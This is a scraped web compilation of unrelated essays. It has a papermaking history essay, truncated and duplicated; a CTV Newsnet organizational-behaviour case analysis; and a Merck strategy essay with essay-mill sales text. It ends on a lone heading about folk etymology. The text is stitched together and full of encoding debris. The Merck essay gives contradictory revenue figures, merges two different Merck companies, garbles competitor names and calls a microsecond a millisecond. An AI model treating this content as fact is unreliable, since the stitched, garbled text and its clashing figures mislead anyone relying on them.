Contemporary Hand Papermaking in North America and Europe

Contemporary Hand Papermaking in North America and Europe The practice of making paper by hand draws forth past centuries in a single sheet of tangled fibers. At the same time, the advances of both contemporary hand papermakers and modern technology have merged this tradition with innovation to create paper of unsurpassed beauty and quality. Despite the speed and economic advantages of machine-made paper, traditional handmade paper grasps its hold on the modern world, and mills across North America and Western Europe have re-emerged to produce fine handmade papers for artists, bookmakers, and conservators who seek the highest level of durability, permanence, and aesthetics. Hand papermaking in the Western world fell into decline with the invention and rapid expansion of papermaking machines in the nineteenth century. By 1828, machines were capable of producing paper thirty inches wide at a rate of sixty feet per minute (Hunter 355). By comparison, a typical handmade paper mill could produce only two to five reams per day (Turner 43). In addition to the increase in speed and volume, papermaking machines promised the advantage of larger sheets with better, more consistent formation (Turner 114). Although papermaking machines offered the potential for a better paper, many tangential factors of industrial papermaking led to an overall inferior product. At the beginning of the nineteenth century, demand for papermaking materials like rags already outpaced supplies as a result of the steady increase of printing following the invention of movable type and a rise in literacy rates and leisure (Turner and Skià ¶ld 97). The speed and efficiency of the papermaking machine only served to accentuate this shortage of materials... ...oup Annual 12 (1993): 61-65. New York Central. Fine Art Papers. Catalog. New York, 2003. Ruscombe Paper Mill Home Page. 1 Oct. 2004 . Turner, Silvie. The Book of Fine Paper: A Worldwide Guide to Contemporary Papers for Art, Design and Decoration. New York: Thames and Hudson, 1998. Turner, Silvie, and Birgit Skià ¶ld. Handmade Paper Today: A Worldwide Survey of Mill, Papers, Techniques and Uses. London: Lund Humphries, 1983. Twinrocker Handmade Paper Home Page. 1 Oct. 2004 . Vander Weele, Linda Sholund. The Revitalization of Handmade Paper in North America. Madison, 1975. Wootton, Mary, Jesse Munn, and Terry Wallis. â€Å"Observations Concerning the Characteristics of Handmade Paper: The Library of Congress Endpaper Project.† The Book and Paper Group Annual 15 (1996): 179-197. Contemporary Hand Papermaking in North America and Europe Contemporary Hand Papermaking in North America and Europe The practice of making paper by hand draws forth past centuries in a single sheet of tangled fibers. At the same time, the advances of both contemporary hand papermakers and modern technology have merged this tradition with innovation to create paper of unsurpassed beauty and quality. Despite the speed and economic advantages of machine-made paper, traditional handmade paper grasps its hold on the modern world, and mills across North America and Western Europe have re-emerged to produce fine handmade papers for artists, bookmakers, and conservators who seek the highest level of durability, permanence, and aesthetics. Hand papermaking in the Western world fell into decline with the invention and rapid expansion of papermaking machines in the nineteenth century. By 1828, machines were capable of producing paper thirty inches wide at a rate of sixty feet per minute (Hunter 355). By comparison, a typical handmade paper mill could produce only two to five reams per day (Turner 43). In addition to the increase in speed and volume, papermaking machines promised the advantage of larger sheets with better, more consistent formation (Turner 114). Although papermaking machines offered the potential for a better paper, many tangential factors of industrial papermaking led to an overall inferior product. At the beginning of the nineteenth century, demand for papermaking materials like rags already outpaced supplies as a result of the steady increase of printing following the invention of movable type and a rise in literacy rates and leisure (Turner and Skià ¶ld 97). The speed and efficiency of the papermaking machine only served to accentuate this shortage of materials... ...oup Annual 12 (1993): 61-65. New York Central. Fine Art Papers. Catalog. New York, 2003. Ruscombe Paper Mill Home Page. 1 Oct. 2004 . Turner, Silvie. The Book of Fine Paper: A Worldwide Guide to Contemporary Papers for Art, Design and Decoration. New York: Thames and Hudson, 1998. Turner, Silvie, and Birgit Skià ¶ld. Handmade Paper Today: A Worldwide Survey of Mill, Papers, Techniques and Uses. London: Lund Humphries, 1983. Twinrocker Handmade Paper Home Page. 1 Oct. 2004 . Vander Weele, Linda Sholund. The Revitalization of Handmade Paper in North America. Madison, 1975. Wootton, Mary, Jesse Munn, and Terry Wallis. â€Å"Observations Concerning the Characteristics of Handmade Paper: The Library of Congress Endpaper Project.† The Book and Paper Group Annual 15 (1996): 179-197.

CTV Newsnet Case Analysis

Chapter 3 CTV Newsnet [pic] 1. Abstract In January 2000, the CTV Newsnet was confronted with a threat to its reputation and growth. A tape with offensive remarks made by the News broadcaster Avery Haines’ were aired mistakenly, and it aroused great public indignation. By means of OB analysis, we found that Haines’ dispositional characteristics such as low emotional stability and lack of conscientiousness, heavy workplace stress, and different attribution processes conducted by the anchor, her coworkers and the audience may all be causes of that crisis.Therefore, we suggest that CTV Newsnet could deal with its reputation crisis and prevent the similar technical and behavioural mistakes in the future as the following: 1) communicating effectively with the viewers about the company’s value and attitude toward this incident, 2) setting up positive reinforcers and punishment rules to encourage desirable behaviour and eliminate undesirable behaviour, 3) holding periodi cal seminar to strengthen employees’ awareness of work ethics, 4) doing job redesign to verify job tasks and reduce working pressure, and 5) providing proper training programs to improve employees’ cognitive abilities and professional skills. Table of Contents 1. Abstract 2 2. Introduction 4 3. Case Analysis 4 3. 1 Personality 4 3. 2 Stress 5 3. 3 Actor-observer Effect7 4. Solutions8 4. 1 Operant Learning Theory8 4. 2 Coping with Stress 9 4. 3 Attribution Theory 10 5. Conclusion 11 6. Bibliography12 7. Appendices13 2. Introduction The news channel, CTV Newsnet, had been playing important role in practicing the CTV Inc. ’s philosophy which emphasizes the social commitment, such as caring about farming issues. However, in January, 2000, CTV Newsnet had faced a severe challenge to maintain its reputation.This incident started with the CTV Newsnet anchor Avery Haines, who had stuttered and flubbed while recording a report introduction on farmer issues. In order to c over her own embarrassment and ease the tension for other co-workers in the studio, she made a private self-deprecating joke which included inappropriate remarks about various minorities. Of course, they retaped this part, but later that day, a CTV technician mistakenly aired the wrong tape which included the error and the offensive comment to the public. Soon after, mountains of criticism and suspicions about CTV’s professionalism and integrity flooded into the company. The happening of this fatal mistake indeed had adverse impacts on the company’s reputation as well as its further expansion plan.Thus, the purpose of our report is to decrease the possibility of making small but fatal mistakes among employees and to improve their sense of responsibility. 3. Casa Analysis 3. 1 Personality and the Big Five Personality can be described as the individual’s personal style to deal with the world. For Haines, there is a whole mixture of features that describe her perso nality. When hiring Haines as a â€Å"Hostess† for CTV, Kowalski, the CTV News senior vice-president and general manager was applying one of the key concepts of OB: the fit concept (textbook P41). Indeed, Kowalski felt immediately that Haines is the right person to fit in the fast-paced and demanding milieu of TV. Kowalski was impressed by her personal and professional qualifications.At the professional level, Haines had won many awards, shown a high level of performance, and earned wide popularity. At the personal level, and according to the five-factor model of personality, Haines showed her openness (she was creative and eager to move forward from radio to television), agreeableness (she humbly accepted criticism and advice, and completely committed to the job) and extraversion (she was interested in everything and had quickly gained the support and affection from her co-workers) (Ng, et al. , 2005). However, her lack of emotional stability (self-confidence) and consciousn ess (responsibility) didn’t appear to Kowalski until the fatal errors occurred.In fact, Haines’ self-depreciating joke to cover her embarrassment and hide her vulnerability and awkwardness is a display of the lack of confidence and consideration of the consequences. According to the intereactionist approach, organizational behaviour is a function of both dispositions and the situation (George, 1992). Indeed, Haines was facing a weak situation where there are loosely defined roles and few rules, so it’s hard to define appropriate behaviour (Adler & Weiss, 1988). As a result, personality tends to have most impact in weak situations, which was the case of Haines behaviour. 3. 2 Stress It was a very long day in CTV, they were preparing for a show talking about the farmers’ story which attracted growing attention all over Canada, and Haines due to being stressed made her famous mistake.Stress can be defined as a psychological reaction to the demands inherent i n a stressor that has the potential to make a person feel tense or anxious (McGrath, 1970). In our case, the viewers of the broadcasting on the farmers’ issue were the potential stressors to Haines, whereas Haines was also the potential stressor to her co-workers. Haines’ personality which was discussed earlier can mainly determine the extent to which the potential stressor becomes a real stressor, and it also determines how she reacted to stress behaviourally, psychologically, and physiologically. This can explain why Haines can be a potential stressor who exerted in turn stress on the work environment in which employees actions were affected and the wrong tape mistake was made.In terms of Locus of control (which is a set of beliefs about whether one’s behaviour is controlled by mainly internal or external forces), Haines reacted in this way since she was an external person. This type of people are more likely to feel anxious in the face of potential stressors (Ng, et al. , 2006), and that’s the case of Haines when she made her famous mistake; she was stressed and started making jokes to overcome her mistake, unlike if she was an internal person (which internal factors determine her personality) she would have confronted her stressors. Furthermore, Haines suffered from managerial and executive stress, since she had a work overload on the day of the incident.Also, Haines has a heavy responsibility and her work carried considerate significance to CTV’s philosophy which addresses social commitment; thus, not only she was under great pressure but also her co-workers, which increased the possibility of the occurrence of the tape mistake. Finally, other general stress factors such as work-family conflict, Job insecurity, and role ambiguity might affect the level of stress among CTV employees and led to the problem in the workplace. 3. 3 Actor-observer Effect According to Attribution theory, people’s behavior can be attribut ed to dispositional and situational causes though they are not always accurate. When people are forming attribution to explain others’ behavior, biases and errors are hard to avoid.Thus, in the CTV Newsnet case, Haines and her colleagues in the studio did not perceive her joking as a big problem  ; on the other hand, viewers were more likely to attribute her comments to her real disposition. The fact that viewers and her co-workers had different perceptions of Haines’s joking reflected the actor-observe effect in attributing process (Watson, 1982).. In this case, Haines tended to attribute her making joke to some external factors. They may include her extreme tiredness with the heavy workload, the attempt to ease the embarrassment, and the certainty of a second recording. This is because Haines as an â€Å"actor† is more sensitive than â€Å"observers† (the audience) of the pros and cons that the environment offered (Textbook, p83).Moreover, she knew ex actly her own thoughts and intentions which is to get herself and her co-workers relaxed. In general, people know better anout how and why their behavior varies by situations, while the observers tend to guess. In terms of the perspectives of Haines’ co-workers, they would also attribute Haines’ behavior to the external causes because they understood Haines’ motivation and thoughts in that specific situation, and they also know her personality well. They usually saw Haines as a talented, reliable and unbiased person. Thus, coworkers might perceive her making improper joke as an accident due to the low consistency and high distinctiveness of her this behaviour (Medcof, 1990).As the observer of Haines’s behaviour, CTV viewers had high possibility to commit the fundamental attribution error through overemphasizing dispositional causes and ignoring the possible environmental factors that may incur her joke making (Jones, 1979). Because viewers lacked the know ledge about the constraints, private thoughts, feelings, and intentions regarding Haines’s behaviour, they intuitively assumed that the anchor’s making discriminatory remarks reflected her real thoughts. Hence, they inevitablly felt horrified and annoyed. 4. Solutions: 4. 1 Operant Learning theory What happened to the CTV Newsnet indicated two main problems that threatened the maintenance of its reputation and integrity, less professional broadcasting and inferior technical error. Both behavioural mistakes should be eliminated for the sake of the entire company.According to the operant learning theory, two approaches could help CTV newsnet to improve their operationing effectiveness. One approach is to use appropriate positive and negative reinforcement to stimulate desired behaviour. The other is to use extinction and punishment to stop undesired behaviour (Textbook P49-55). In order to avoid such basic technical misconduct on the short-term basis, the CTV managers co uld adopt positive reinforcement by establishing periodical employee recognition programs. They include offerring financial rewards quarterly or annually to error-free employees and employees who made significant progress in their work.Moreover, a long-term training and development program can be conducted for technicians to learn how to operate the broadcasting equipment properly and efficiently as well as to adopt new technologies and upgrade their professional knowledge. To minimize the similar mishap made by Haines, CTV should create clear communication channel between company and employees to encourage a more direct feedback. It will give help the organization find out their employees’ personal or work-related difficulties so that their performance can be enhanced (Peterson & Luthans, 2006). If employees’ problems were incurred by too much workload, managers should consider hiring extra staff or enhancing the efficiency of management to cut the workload for employ ees.If making mistake was due to the lack of job interest and enthusiasm, the company could offer employees the opportunity to rotate among different positions or grand employees more controling power over their tasks to raise their sense of involvement. Meanwhile, through the negative reinforcement, the upper management may also monitor employees’ job performance and behaviour. Building up a more strict set of operational rules helps prohibit undesirable behaviours in the studio. Any breach of the rules could lead to disciplinary actions such as a verbal warning, a written warning or an ultimate dismissal. Employees’ attemppt to eliminate these unpleasant outcomes (warning and dismissal) can motivate them to obey the rules (textbook, p50).Although punishment might cause unwanted impacts on employees’ working enthusiasm, it is a effective way to prohibit seriously adverse behaviour sometimes. It also serves as a sound warning for other potential mistake-makers a nd a necessary compromise for easing the public anger. In CTV case, Haines should be fired for her unprofessional behaviour though unintentional since it already incurred a huge wave of public irritation. The technician who played the wrong tape should also be punished for his or her carelessness. However, using punishment should always be careful. 4. 2 Coping with stress In order to reduce and overcome the stress which could occur in the work place now and in future, CTV should start implementing concrete actions.For example, doing job redesign that changes the job depth and breadth can rebuild the job tasks with more diversity and authority. CTV could socially support its employees by planning events and activities which can improve the employee’s social life. The human resource department could establish a family friendly policy for the employees, which will allow the staff to balance better between their job duties and family responsibilities (Grant & Parker, 2009). Final ly CTV could also introduce stress management programs and work balance programs to allow its employees to arrange their time and tasks effectively with a wisely designed working schedule. . 3 Attribution theory Concerning the above analysis, some work-related attitudes among employees in CTV Inc. should be modified or reinforced. Since attitudes can be modified through persuasively changing people’s beliefs and values (Textbook, p120), holding seminars and developing training programs can indeed help improve the work-related attitudes of CTV workers. First, employees should improve their awareness of the limitation of viewers’ knowledge about the journalists’ or broadcasters’ personal conditions. Interactive activities involving CTV employees and CTV viewers can be conducted to help them establish better mutual understanding.Then, mangers can hold discussion panels to reinforce the belief that working in CTV requires rigorous work ethics and extensive se nse of responsibility, especially as journalists and broadcasters. And through these trainings, the employees will be encouraged to ponder internal factors for their own behavior and be more aware that their self-perceived minor mistakes could be fatal to the further growth of their company. Besides, CTV Newsnet should enhancee its employees’ personal skills to maintain its professionalism and reliability. According to the concepts of job performance, individual job performance is heavily affected by his or her general cognitive ability, which refers to intelligence (Textbook, P149).Training programs can be conducted to refine speaking skills of the anchors so that they can be more careful and thoughtful about wording when broadcasting the public information. Moreover, periodical seminars can be held to retain employees’ proper consciousness of political, religious and ethnic issues and to enrich their storage of the relevant knowledge. 5. Conclusion About decade ago, CTV Newsnet anchor Avery Haines’ offensive remarks were aired mistakenly and caused great controversies in the public. The management was facing a severe challenge: the news station’s reputation and growth were threatened. Through OB analysis we have found that certain traits of Haine’s personality, i. e. low level of emotional stableness and ack of conscientiousness, workplace stress from too much workload and pressure, as well as different attribution processes conducted by the anchor, her coworkers and the audience may all causes contributing to the problem. CTV Newsnet could deal with its reputation crisis and avoid these technical and behavioural errors in the future by taking the right steps: communicating effectively with the audience about the company’s value and attitude toward this incident, setting up positive reinforcers and punishment rules to encourage desirable behaviour and eliminate undesirable behaviour, doing job redesign to clarify rol es and reduce workload, and providing proper training programs to improve employees’ cognitive abilities and awareness of work ethics. Bibliography 1. Adler, S. , & Weiss, H. M. (1988).Recent developments in the study of personality and organizational behaviour. In C. L. Cooper & I. Robertson (Eds. ), International review of industrial and organizational psychology. New York: Wiley. 2. George, 1992; Weiss, H. M. , & Adler, S. (1984). Personality and organizational behaviour. In B. M. Staw & L. L. Cummings (Eds. ), Research in organizational behaviour (Vol. 6, 1-50). Greenwich, CT: JAI Press. 3. Grant, A. M. , & Parker, S. K. (2009). Redesigning work design theories: The rise of relational and proactive perspectives. Academy of Management Annal, 3, 317-375. 4. Jones, E. E. (1979). The rocky road from acts to dispositions. American Psychologist, 34, 107-117; Ross, L. (1977).The intuitive psychologist and his shortcomings: Distortions in the attribution process. Advances in Expe rimental Social Psychology, 10, 173-220. 5. McGrath, J. E. (1970). A conceptual formulation for research on stress. In J. E. McGrath(Ed. ), Social and psychological factors in stress. New York: Holt, Rinehart, Winston. 6. Medcof, J. W. (1990). PEAT: An integrative model of attribution processes. Advances in Experimental Social Psychology, 23, 111-209. 7. Ng, T. W. H. , Eby, L. T. , Sorensen, K. L. , & Feldma, D. C. (2005). Predictors of objective and subjective career success: A meta-analysis. Personal Psychology,58, 367-408. 8. Ng, T. W. H. , Sorensen, K. L. ,&Eby, L. T. (2006).Locus of control at work: A meta-analysis. Journal of Organizational Behavior, 27, 1057-1087. 9. Parasuraman, S. & Alutto, J. A. (1981). An examination of the organization antecedents of stressors at work. Academy of Management Journal, 24, 48-67. 10. Peterson, S. J. ,& Luthans, F. (2006). The impact of financial and nonfinancial incentives on business-unit outcomes over time. Journal of Applied Psychology, 91, 156-165. 11. Saks. A. M. , Gary. J. (2011). Organizational Behaviour. Toronto: Pearson Prentice Hall. 8th edition. (textbook) 12. Watson, D. (1982). The actor and the observer: How are their perceptions of causality divergent? Psychological Bulletin, 92, 682-700.

Merck Co. Pharmaceutical Company Use of Emerging Technology - Free Essay Example

Sample details Pages: 10 Words: 3065 Downloads: 3 Date added: 2017/06/26 Category Marketing Essay Type Analytical essay Did you like this example? Merck Co. Pharmaceutical Company Use of Emerging Technology Don’t waste time! Our writers will create an original "Merck Co. Pharmaceutical Company Use of Emerging Technology" essay for you Create order Contents Contents Executive summary Company background Competitive environment Companys innovation capability Technology Description Analysis of technology Analysis of companys option Recommendations References Executive summary In this review, the primary subject is the à ¢Ã¢â€š ¬Ã‹Å"business case for CEO of Merck Pharmaceutical Company, it focuses on the competitive advantage of the Company and the new norms and trends in the industry .This report focuses on ideas developing in the market and what are the key strengths of the Company to rely upon in the future. It also examines upon the Company innovation capabilities and what novel services and products it has got for its consumers. This report also focuses on the company progressive strategic options in future and the detailed analysis of them. It will also take in account where does Merck Co. fits in the industry and recommendations made to the CEO to maintain its place. The use of technology is also highlighted in the report that how the CEO of the company can use the technology to get a competitive edge and use it as an emerging tool in its industry. Company background Merck is a popular pharmaceutical company dealing in top quality high technology products in Health Care, Science and Performance Materials its logo is simple that is Living Innovation it has generated a revenue of USD 11.5 billion in 2014 with the 3 business sectors. Merck products are established and well known throughout the world for their world quality and well known products developed to deal with all kinds of diseases and problems. Merck is one of the oldest and well known pharmaceutical and chemical company. It was originally founded in 1668 in Darmstadt and with the rapid success company has reached the new horizons in Medical industry. (hess, d., rogovsky, n., dunfee, t. W. (2002).) Head office in New York gave rise to the subsidiary four years later to Merck and co. After the World War 1 both of these companies separated and to make it easier to distinguish, the trademark refers to Darmstadt of Germany and holds the global rights to the name. The mission statement of the company is our aspiration is to make great things happen which lets us know that company focuses a lot on how things are to be managed and in order to fulfill this mission statement, company lays great emphasis on control systems and tools . And the corporate strategy of the company is focused towards success but equality towards the respect of employees, customers, providers of capital and society. These are the key stakeholders of the organization and upon which the organization lays great emphasis. Competitive Environment Over the past decade it can be seen that the pharmaceutical industry has seen a rapid increase in the competition globally because of intense brands and companies developing a range of products alongside the market for such vast target audience. Extreme brand price competition which usually occurs between the choices of insurers. Depending a lot on the pharmacist that what kind of medication it has referred to the consumer irrespective of the brand it refers and level of insurance plans. Primarily the competition in pharmaceutical industry focuses upon the discovery and development of new drug therapies therefore it requires sophisticated and modern technique and high development and expenditure cost on RD and for this purpose if we take a look on the top countries developing new drugs it can be seen that Germany ,UK and USA are the top of the list also due to the shift in the industry towards the increasing amount of outsourcing small, low cost producers in the developing nations it has led to US and EU dominate the market. In order to remain competitive the ones which dominate the industry must continuously develop new products, gain more and more technical knowledge and enhance their research and development skills to maintain their position. If we take a look upon Merck position in this competitive industry it can be seen that Merck dominates the market with having an annual revenue USD $ 48.07 billion. It is included in the top 7 most profitable and dominating companies in the pharmaceutical industry. Its main competitors are Pfizer, Saffian, and Brystel, MyorsSquib, GlaxoSmithKline.Co, Johnson and Johnson. If we take a closer look at it competitors we can see that: Direct comparison with competitors Merck co Glaxo smith Kline co Pfizer co Revenue 42.24B 33.85B 49.60B Net income 11.92 B 4.06B 9.08B Employees 70,000 97921 78300 EPS (TTM) 4.07 1.67 1.42 Looking upon the position of Merck (Scherer, F. M. (2000)). We can evaluate that company is performing well and has maintained it position in this strict competition .The main reason for Merck being so profitable and being competitively is it vast product development. It has introduced new ranges of vaccines and drugs to treat some of the rarest diseases such as cancer of different types, Alzheimer and diabetes alongside its calibration with World Health Organization (WHO) to research upon a lot of neglected tropical diseases. Such calibration has allowed the company to improve its competitive advantage and continues research and strategic development further ads to the expertise of the Merck Company. According to Forbes, Merck is only that company which has recently added 8500 jobs to the list providing new opportunities for employeeà ¢Ã¢â€š ¬Ã¢â€ž ¢s .Hence this allows the Merck Company to be capable enough to operate and survive in a competitive environment. Companys innovation capability Merck Company has a high diverse portfolio of products for its consumers and this is due the research and development and introduction of new technological ideas. Company is continuously developing and discovering new medicines and vaccines in order to save more lives of people. Recently Merck research laboratories have found out post-doctoral research fellow program. Innovative research begins with the people and Merck has employed the leading scientist who are working on different researches and projects to produce new products and treat different diseases .Researchers take a deep look at each and every molecule and how it interacts and behaves in order to have a deeper understanding of the disease mechanisms and how to prevent it. A lot of new researches are in the pipe line such, for HPV related cancers, fertility problems, melanoma, contraception medicated, Ebola vaccine, diabetes Mellite, gastric cancer, head and neck cancer, hepatitis C and many more. With such a vast res earch phase going on and development on such a large scale we can rely on Merckà ¢Ã¢â€š ¬Ã¢â€ž ¢s innovation capability. Technology Description The pharmaceutical market has been increasingly being more influenced through laws and principals but has shown developing prosperity as the interpretation and in depth understanding of diseases and condition has drastically improved. Detailed interpretation of clinical studies for bio pharmaceuticals, prevention and treatment of certain cancers, coagulants and non-coagulants are all under the heading of pharmaceutical markets Research reports. Drug devices, instrumentation and inhibitors are part of this. In 2013 US food and drug administration authority granted breakthrough therapy designation for advanced malignant melanoma. In May 2013 Merck announced the expansion for contraceptive access for millions of women in some of the poorest countries of the world. With the use of technology vaccine for HIV infection has been introduced and on a vast scale is provided to the infants and females in the poorest countries. The Company has a target of removing and curing the tropical diseases and rarest diseases in the poorest race going of the world by 2020. The latest emerging trends in technology that can be seen as follow: In cretin based drug testing therapeutics was valued nearly $11.8 billion in 2013 and annual growth of 12.49% since 2014 and this is valuable for the treatment of diabetes worldwide. Therapeutics for silent cancers is now being valued at $8.5 billion and has reached an annual growth of 8.5% since 2014. As the disease gets common and reaching the masses its treatment is also to be vulnerable and reachable. Emerging technology also claims treatments for allergy diagnostics and treatments as this is rapidly reaching the masses. Avanti-um crystallization system is now the techno biz crystallization system and various new ideas relating to it has captured market which includes crystal breeder, crystalline and crystal 16 The next big thing is gene technology and using Nano technology (Kumar, C. S. (2010) in the genomes and DNA sequencing, drug delivery (Park, K. (2007). Nanotechnology, tissue engineering, medical devices. Blood purification and sensing and catalyst reactions inside the body and it treatment for various syndromes and abnormalities in the sequence is the next thing top companies are looking forward. With the use of technology the Company is being able to create a sustainable environment and has laid focus in being environment Friendly and key risk to environment are being removed. (Borris, R. P. (1996). Analysis of technology Nanotechnology is a unique approach to problem solving and can be considered as a collection of tools and new ideas which can be applied in pharmaceutical industry. Application of nanotechnology tools in pharmaceutical RD is likely to result in moving the industry from à ¢Ã¢â€š ¬Ã‹Å"blockbuster drugà ¢Ã¢â€š ¬Ã¢â€ž ¢ model to à ¢Ã¢â€š ¬Ã‹Å"personalized medicineà ¢Ã¢â€š ¬Ã¢â€ž ¢. There are amazing applications in pharmaceutical industry where cheap nanotechnology tools can be applied.. The report tells the probability of checking numerous nanotechnology ideas to meet the requirements in pharmaceutical RD. Nanotechnology tools are helpful in adding value to existing products for existing markets as well as being diverse in new markets. In addition to use of synthetic methods, Nano materials are being developed as effective catalysts and helpful for solid-phase organic synthesis Nanotechnology being a new method received a lot of appreciation and grasped the eyes of many i n the pharmacist industry. In drug delivery, nanotechnology ità ¢Ã¢â€š ¬Ã¢â€ž ¢s about to make an effective impact. Many of the recent à ¢Ã¢â€š ¬Ã…“Nanoà ¢Ã¢â€š ¬Ã‚  drug delivery systems, however, are left overs of traditional drug delivery systems that happen to be in the nanometer range, such as liposomes, polymeric micelles, Nano particles, dendrimers, and Nano crystals. Liposomes and polymer micelles were developed in 1960à ¢Ã¢â€š ¬Ã¢â€ž ¢s, and nanoparticles and dendrimers in 1970à ¢Ã¢â€š ¬Ã¢â€ž ¢s. Colloidal gold particles in nanometer sizes were developed more than 150 years ago, but their association with nano particles or nanotechnology was established recently. The allure of specialized medicine has been renewed more effective ways of sequencing genes a top level research priority. One developing technique involves reading DNA bases using changes in electrical current as they are passed through a Nano scope hole. Researchers are finding out new effective ways t o find the DNA sequence so that they can determine genetic structure as the sequence and shape and coding on the DNS sequence helps to determine possible health and risk factors and diseases. .When DNA strands are passed through a nano pore with a voltage difference across the pore, you can analyze each molecule in the DNA strand by the amount of current passing across the Nano pore. The issue with this technique is that if DNA molecules are unable to pass through the Nano tube of the hole is half cm or thicker the reaction cannot take place. Hence the Nano tube and pore of the tube are to be accurate size. DNA molecules are sequenced by evaluating the electrical conductance of a phi29 DNA polymerase as it includes UN distinguished nucleotides into a template strand of DNA. The conductance of the polymerase is monitored by sequencing it to a protein transistor that consists of an antibody molecule (immunoglobulin G) attached to two gold nanoparticles, which are in turn connected to source and drain electrodes. The electrical conductance of the DNA polymerase takes place at a rate of ~22 nucleotides per second. If more spikes appear on top of the plat-eaux it will be able to highlight between the four different types nucleotides. Analysis of company option Nanotechnologies hold huge impact to evolve evolution in the field of medicine through various application .If Merck uses Nano technology for the genomic sequencing of DNA and in the drug delivery it will have the following impacts: It will improve, cost-effective tissue engineering and making of bespoke implants which will be analyzed through the combination of Nano materialsà ¢Ã¢â€š ¬Ã¢â€ž ¢ size and physical properties Drug delivery (Hongbao, M. (2005) is vitalized through both the enhancement and targeting and bioavailability of existing medicinal substances, along with the discovery of entirely new range of substances and Nano materials, which offers a new range of advantages over traditional drug-delivery methods, incorporating the targeted delivery to diseased sites only, and the enhanced adsorption, delivery and duration of medicines around the body. Diagnostics are enhanced by nanotechnology-based on new ideas including the introduction of enhanced sensitivity and rationality ( Van Horn, C., Cleary, J., Fichtner, A. (2009).to advanced fast screening processes used by lab-on-a-chip devise. DNA with the combination of nanotechnology tends to offer us a wide range of benefits. the structure of DNA, is a double-stranded molecule which will unzip to form somewhat of a branched molecule .The DNA molecules can be verified in a way that we can extract valuable structures that will help many different applications. In terms of practical applications, DNA-based nanotechnology can be implemented to build electronics. Along with this medical applications such as drug design can extract value from this technology. Some molecules are cannot crystallize hence with the help of DNA it could provide the basic support, which would help in X-ray applications to get images of the molecular structures. Along with this DNA can be used (Seedman, N. C. (1999) With nanotechnology to build synthetic fibers. PCR (Polymerase Chain Reaction) is a widely used traditional method. This method translates the segments of DNA in order to decode the genome. It requires a lot of DNA multiplication hence a lengthy process and uses special reagents. With the use of Nano pore technology, only one DNA will be required and DNA replication is not needed. The decoding speed will be one micro second (a millisecond) for a single base. Hence its a quick and rapid process with the results being satisfactory. Looking upon the options Merck has we can see that pharmaceutical industry is rapidly expanding and there canà ¢Ã¢â€š ¬Ã¢â€ž ¢t be a monopoly (Angell, M. (2008).) hence the introduction and use of NANO technology in different segments may seem useful. Recommendations Merck Company apparently seems to be profitable and is strategically successful to retain its share in the market. Hence in order to maintain the position Merck Company needs to take various steps. The main threat to the industry is the presence of too many competitors and continues to persist because of the evolving new diseases in the industry. Subsequently the US economy had been facing an economic downturn hence the risk of not performing well and profitable also prevails. Firstly the Company needs to keep updated itself in area of research and technology a range of products is offered but the range should be diversified not just to medicines and consumers products but to general lifestyle day to day use of products and to animal and plants too so that entire species take an advantage of it. Secondly the Company need to expand its market in not just US Germany and Europe but has to take it to middle east and other countries this can b done by extensive marketing and capturing target the people there .the consumer demands of people living far apart in these areas need to be taken in account. Thirdly pricing strategy need to take a look in account the agreements made with insurance companies need to reviewed and made well according to the massive consumer requirements .alongside with the introduction of new technology and different vaccines to treat different kind of diseases ità ¢Ã¢â€š ¬Ã¢â€ž ¢s important that the company keeps in mind and caters the need of its users and spends capital on RD. A great amount of spending is required on RD for the continuous update and improvement in the technology and for the uptake of opportunities in this field the research phase requires up date and renewal hence requires a capital and funding to be spend upon it. Use of Nano technology is the next big thing to look upon hence Merck should look forward to work upon it and spend some research cost upon it initially but this technology is for the future and looking upon for the bright future Merck should check upon for the upcoming project. Overall if seen Merck serves to have a lot of new ideas and innovation in order to survive and cater the requirements of it users and 3 business sector medicine and health care and performability materials are to be taken into account and take at new levels. Hess, D., Rogovsky, N., Dunfee, T. W. (2002) Recently Merck established it sustainable report in 2103 showing that it concerns with the environment and key risks concerning the environment are (Bierly, P., Chakrabarti, A. (1996).) to be catered and kept in mind. Overall the Company is fast growing and profitable and in order to maintain its stance it need to keep in account all these factors. References Cool, K. O., Schendel, D. (1987). Strategic group formation and performance: The case of the US pharmaceutical industry, 1963à ¢Ã¢â€š ¬Ã¢â‚¬Å"1982. Management science, 33(9), 1102-1124. DiMasi, J. A., Hansen, R. W., Grabowski, H. G., Lasagna, L. (1991). Cost of innovation in the pharmaceutical industry. Journal of health economics, 10(2), 107-142. Bierly, P., Chakrabarti, A. (1996). Generic knowledge strategies in the US pharmaceutical industry. Strategic management journal, 17(S2), 123-135. Scherer, F. M. (2000). The pharmaceutical industry.Handbook of health economics, 1, 1297-1336. DeAngelis, C. D., Fontanarosa, P. B. (2008). Impugning the integrity of medical science: the adverse effects of industry influence. JAMA, 299(15), 1833-1835. Angell, M. (2008). Industry-sponsored clinical research: a broken system. Jama, 300(9), 1069-1071. Kola, I., Landis, J. (2004). Can the pharmaceutical industry reduce attrition rates? Nature reviews Drug discovery, 3(8), 711-716. Borris, R. P. (1996). Natural products research: perspectives from a major pharmaceutical company. Journal of ethno pharmacology, 51(1), 29-38. Hess, D., Rogovsky, N., Dunfee, T. W. (2002). The next wave of corporate community involvement: Corporate social initiatives. California Management Review, 44(2), 110-125. Kumar, C. S. (2010). Nanotechnology tools in pharmaceutical RD. Materials Today, 12, 24-30. Hongbao, M. (2005). Development application of polymerase chain reaction (PCR). J. Am. Sci, 1(3), 1-15. Seedman, N. C. (1999). DNA engineering and its application to nanotechnology. Trends in biotechnology, 17(11), 437-443. Van Horn, C., Cleary, J., Fichtner, A. (2009). The workforce needs of pharmaceutical companies in New Jersey that use nanotechnology: preliminary findings. New Brunswick. Park, K. (2007). Nanotechnology: What it can do for drug delivery. Journal of controlled release: official journal of the Controlled Release Society, 120(1-2), 1. 1

Overview of Folk Etymology

